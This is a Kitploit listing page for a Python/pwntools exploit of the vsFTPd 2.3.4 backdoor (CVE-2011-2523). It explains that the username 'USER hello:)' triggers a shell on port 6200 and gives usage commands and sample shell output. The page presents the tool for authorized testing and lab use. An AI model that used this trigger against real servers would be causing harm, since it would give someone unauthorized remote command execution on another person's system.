Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2011-2523-exploit — Python exploit for vsFTPd 2.3.4 backdoor (CVE-2011-2523) that triggers a hidden shell on port 6200 via a crafted username, enabling remote command execution for authorized penetration testing. | Kitploit
Tools/GitHubGitHub/dahalsamir/cve-2011-2523-exploit
Vulnerability AnalysisExploitationShellcodePenetration TestingCommand and ControlLearning & EducationRemote Access ToolBinary Exploitation
GitHub
dahalsamir/cve-2011-2523-exploit

CVE-2011-2523-exploit

Python exploit for vsFTPd 2.3.4 backdoor (CVE-2011-2523) that triggers a hidden shell on port 6200 via a crafted username, enabling remote command execution for authorized penetration testing.

View Repository
15 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2011-2523 Exploit (vsFTPd 2.3.4 Backdoor)

This project demonstrates exploitation of the vsFTPd 2.3.4 backdoor vulnerability (CVE-2011-2523) using Python and pwntools.

Disclaimer: This project is for educational and authorized penetration testing purposes only. Do NOT use against systems without permission.


Vulnerability Overview

  • CVE ID: CVE-2011-2523
  • Affected Software: vsFTPd 2.3.4
  • Type: Backdoor / Remote Command Execution
  • Port: 21 (FTP), 6200 (Backdoor shell)

👉 The vulnerable version of vsFTPd contains a malicious backdoor that is triggered when a username containing :) is used during login.


How the Exploit Works

  1. Connects to the target FTP server
  2. Checks if the version is vsFTPd 2.3.4
  3. Sends a specially crafted username (USER hello:))
  • Triggers the hidden backdoor
  • Connects to port 6200
  • Opens an interactive shell

  • 🛠️ Requirements

    • Python 3
    • pwntools library

    Install dependencies:

    root@kitploit:~
    pip install pwntools
    

    Usage

    🔹 Run the exploit

    root@kitploit:~
    python3 exploit.py <TARGET_IP>
    

    🔹 Optional: Specify port

    root@kitploit:~
    python3 exploit.py <TARGET_IP> <PORT>
    

    Example

    root@kitploit:~
    python3 exploit.py 192.168.190.140
    

    Expected Output

    root@kitploit:~
    [+] Checking FTP Version...
    [+] Triggering backdoor...
    [+] Connecting to backdoor....
    [+] Got Shell
    $
    

    Important Notes

    • Target must be running vsFTPd 2.3.4 (vulnerable version)

    • Port 6200 must be reachable

    • Works best in lab environments like:

      • Metasploitable
      • Vulnerable VMs

    Improvements (Future Work)

    • Auto-detection of multiple FTP versions
    • Add reverse shell payload
    • Multi-target scanning support
    • Integration with automation tools

    Download Tool